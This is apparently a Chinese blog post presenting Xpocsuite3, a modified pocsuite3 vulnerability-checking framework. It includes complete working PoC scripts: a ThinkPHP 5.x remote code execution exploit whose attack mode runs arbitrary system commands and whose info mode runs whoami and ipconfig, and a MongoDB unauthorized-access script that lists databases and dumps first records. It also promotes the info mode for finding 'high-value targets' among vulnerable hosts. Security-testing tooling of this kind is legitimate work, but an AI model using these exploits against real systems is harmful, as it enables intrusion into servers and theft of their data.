Xpocsutie3:基于pocsuite3二次修改的POC检测框架

image-20210611000429962

简介

Xpocsutie3是在pocsuite3的基础上进行二次修改的一个POC检测框架。

pocsuite3是我之前最主要的poc检测框架,后来也被我作为一个poc检测模块的核心集成到了我的资产管理平台。但是随着持续使用中,发现其还是有一些不足,比如在编写poc时特别繁琐,在应对一些特殊场景时不够灵活等问题。

不过也随着对pocsuite3的整体框架了解越来越深,发现其扩展性很强,完全可以根据自己的一些习惯进行进一步优化,使其发挥更大的作用,Xpocsutie3便由此而生。

特点

兼容原版poc

目前由于很多poc还是用原pocsuite3格式编写,改动工作量有点大,所以目前改动的前提是不能影响原poc的使用。

增加参数 --uri

这里主要增加应对网站不是搭建在根路径的情况,比如 http://xxx.xxx.xxx.xxx/thinkphp/public/index.php 的检测路径应该是/thinkphp/public/ 而不是根路径。

  • uri:使用当前uri进行检测,默认使用当前路径路径检测,即 http://xxx.xxx.xxx.xxx/thinkphp/public/
  • root:使用根目录进行检测,主要用来应对传入带路径的目标,但漏洞存在于根路径的情况。即 http://xxx.xxx.xxx.xxx/
  • all:检测所有路径,应对漏洞存在路径中间或需要进行深度扫描的情况。即上面这个目标会检测 / /thinkphp /thinkphp/public/ 三个路径

增加info模式

测试大量目标时候经常发现许多存在漏洞,但没什么实际价值的情况。比如没有发现数据库弱口令,但是连上去发现是个空的数据库;发现个命令执行,但是个没什么用的测试服务器之类的情况。所以增加这个模式,旨在存在大量漏洞的情况下快速定位高价值目标。

简单来说就是verify模式主要是在最小代价的情况下检测漏洞是否存在,而info模式在发现漏洞后再进一步的自动收集目标的相关信息

优化poc编写

原pocsuite3在编写poc时,需要先写许多与检测无关但是却必填的内容,导致很多核心就一行代码的poc脚本至少也要写几十行代码才能完成。所以在XPocsuite3中,除关键检测逻辑外,其他原必填字段全部由框架自动填充,使使用者更加专注检测逻辑的编写,减少工作量。

将poc更细分为http格式和非http格式,http类型的poc默认传入url参数;非http类型的poc默认传入host,port参数,由XPocsuite3根据poc类型自动传入。

将原版字段都增加默认值并放入POCBase中,减少编写poc的工作量。

增加了一些新的属性,非必填,用于丰富输出内容,方便给插件或者其他平台输出更详细的检测内容。

检测逻辑完全独立

编写poc的重点是检测方法的编写,但pocsuite3调用对应的检测接口函数前后并没由做到足够好的处理,在编写poc时,经常需要先对目标格式处理,然后再实现检测逻辑,检测完毕还需要将结果调整为pocsuite3支持的类型,这对于编写者来说,显然有些繁琐。

好在pocsuite3预留的是接口函数,在XPocsuite3中已将原接口函数进行重写,原接口函数主要用于完成一般场景下的输入和输出处理并调用对应的实现检测逻辑函数,这样在XPocsuite3中编写poc时只需完成原接口函数对应检测逻辑函数即可,在使用使框架调用时会自行对结果输入和输出。如果遇到复杂场景,亦在poc中可重新实现这些接口函数。

  • _verify调用check函数
  • _info调用info函数
  • _attack调用attack函数

其他

  • 去除原版严格的目标格式校验,增加目标格式自动调整功能,尽可能由框架来修复输入的错误目标格式
  • 修复使用中遇到一些bug

部分功能展示

uri参数

实际场景经常存在指定路径无漏洞,但子路径可能存在漏洞的情况。如: http://test.com/thinkphp/public/存在thinkphp命令执行,检测http://test.com/thinkphp/public/admin/index便无法检测出来漏洞,这时候可以使用uri参数

--uri uri(默认模式):

实际检测路径是 http://test.com/thinkphp/public/admin/index

image-20210610163343283

--uri root:

实际检测路径是 http://test.com/

image-20210610163428874

--url all:

实际检测路径有:

 http://test.com/thinkphp/public/admin/index
 http://test.com/thinkphp/public/admin/
 http://test.com/thinkphp/public/
 http://test.com/thinkphp/
 http://test.com/

因此在这个情况下能检测出漏洞

image-20210610163305121

info模式

获取未授权访问的redis数据库信息

image-20210610164312839

无输入格式限制

框架不再限制输入格式,并最大可能自动修复错误格式(当然太离谱的格式用框架也救不了~)

原版

python3 cli.py -u localhost -r pocs/redis_unauthorized_access.py

image-20210610162256141

XPocsuite3

python3 run.py -u localhost -r pocsuite3/pocs/demo/redis_unauthorized_access.py

image-20210610160943008

极简poc

除核心检测函数外皆可省去!

image-20210610153304884

新版poc编写

Http类

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re

import requests

from pocsuite3.lib.core.enums import POC_CATEGORY, VUL_TYPE
from pocsuite3.lib.core.poc import POCBase
from pocsuite3.lib.core.register import register_poc


class POC(POCBase):
    #####以下这些属性皆可不写#####
    vulID = 10000
    name = 'Thinkphp 命令执行2'
    version = '1.0.0'
    author = 'HX'
    protocol = POC_CATEGORY.PROTOCOL.HTTP
    install_requires = []
    appName = 'Thinkphp'
    appVersion = '5.0.0<=ThinkPHP5<=5.0.23、5.1.0<=ThinkPHP<=5.1.30'
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    desc = '本次漏洞存在于 ThinkPHP 底层没有对控制器名进行很好的合法性校验,导致在未开启强制路由的情况下,用户可以调用任意类的任意方法,最终导致 远程代码执行漏洞 的产生。'
    repair_suggest = '升级到最新版本'
    cvss = 'high'
    #####以上这些属性皆可不写#####

    # 使用verify模式需实现的方法
    def check(self, url): # http类poc默认传入url参数
        flag = 'PHP Extension Build'
        data = "_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1"

        payloads = [
            r"/index.php?s=captcha"
        ]
        for payload in payloads:
            vul_url = url + payload
            headers = {
                "Content-Type": "application/x-www-form-urlencoded"
            }
            r = requests.post(vul_url, data=data, headers=headers)

            if flag in r.text:
                result = {}
                result['Name'] = self.name
                result['Url'] = vul_url
                return result
        return False

    # 使用attack模式需实现的方法
    def attack(self, url, command): # http类poc默认传入url,command参数
        attack_url = url + "/index.php?s=captcha"
        data = {"_method": "__construct", "filter[]": "system", "method": "get",
                 "server[REQUEST_METHOD]": command}
        try:
            text = requests.post(attack_url, data=data, timeout=10).text
            res = re.findall('<div class="echo">(.*?)</div>', text, re.S)
            if res:
                result = {}
                result['Name'] = self.name
                result['Url'] = self.url
                result['Result'] = res[0].strip()
                return result
        except:
            result = {}
            result['Name'] = self.name
            result['Url'] = self.url
            result['Result'] = '命令执行异常'
            return result

    # 使用info模式需实现的方法
    def info(self, url): # http类poc默认传入url参数
        attack_url = url + "/index.php?s=captcha"
        info=''
        
        data = {"_method": "__construct", "filter[]": "system", "method": "get",
                 "server[REQUEST_METHOD]": 'whoami'}
        text = requests.post(attack_url, data=data, timeout=4).text
        res = re.findall('<div class="echo">(.*?)</div>', text, re.S)
        info+='whoami: {}\n'.format(res[0].strip())

        data = {"_method": "__construct", "filter[]": "system", "method": "get",
                "server[REQUEST_METHOD]": 'ipconfig'}
        text = requests.post(attack_url, data=data, timeout=4).text
        res = re.findall('<div class="echo">(.*?)</div>', text, re.S)
        info += 'ipconfig: {}\n'.format(res[0].strip())
        
        if res:
            result = {}
            result['Name'] = self.name
            result['Url'] = self.url
            result['Info'] = info
            return result


register_poc(POC)

非Http类

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import binascii
import socket
import traceback

import pymongo

from pocsuite3.lib.core.enums import POC_CATEGORY
from pocsuite3.lib.core.poc import POCBase
from pocsuite3.lib.core.register import register_poc


class POC(POCBase):
    vulID = 1
    name = 'Mongodb 未授权访问'
    version = '1.0.0'
    author = 'HX'
    protocol = POC_CATEGORY.PROTOCOL.TELENT  # 非http类型需要声明非http,非http这行不能省略 !!
    install_requires = ['pymongo'] # 如需安装其他模块 可在此处声明
    appName = 'Mongodb'
    appVersion = 'ALL'

    def check(self, host, port=27017): # 非http类poc默认传入host,port参数,port参数填默认端口
        try:
            socket.setdefaulttimeout(10)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, int(port)))
            data = binascii.a2b_hex(
                "3a000000a741000000000000d40700000000000061646d696e2e24636d640000000000ffffffff130000001069736d6173746572000100000000")
            s.send(data)
            result = s.recv(1024)
            if "ismaster".encode() in result:
                getlog_data = binascii.a2b_hex(
                    "480000000200000000000000d40700000000000061646d696e2e24636d6400000000000100000021000000026765744c6f670010000000737461727475705761726e696e67730000")
                s.send(getlog_data)
                result = s.recv(1024)
                if "totalLinesWritten".encode() in result:
                    result = dict()
                    result['PocName'] = self.name
                    result['Host'] = host
                    result['Port'] = port
                    return result
        except Exception as e:
            traceback.print_exc()

    def info(self, host, port=27017): # 非http类poc默认传入host,port参数,port参数填默认端口
        info = ''
        client = pymongo.MongoClient("mongodb://{}:{}/{}".format(host, port, ''))

        db_list = client.list_database_names()
        black_db = ['admin', 'config', 'local']
        for dbname in db_list:
            if dbname not in black_db:
                info = info + '数据库{}信息如下:\n'.format(dbname)
                db = client[dbname]

                col_list = db.list_collection_names()

                for colname in col_list:
                    col = db[colname]
                    tmpdata = col.find_one()
                    tmpcount = col.estimated_document_count()
                    info = info + '{}共{}条数据,第一条数据为:{}\n'.format(colname, tmpcount, tmpdata)

                info = info + '\n'

        return info
    
    def attack(self, host, port=27017, command=''):# 非http类poc默认传入host,port,command参数,port参数填默认端口,command可填写默认命令
        pass


register_poc(POC)

获取途径

关注公众号 安全小工坊 ,回复xpocsuite3获取下载链接

法律免责声明

未经事先双方同意,使用Xpocsuite3攻击目标是非法的。
Xpocsuite3仅用于安全测试目的

在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值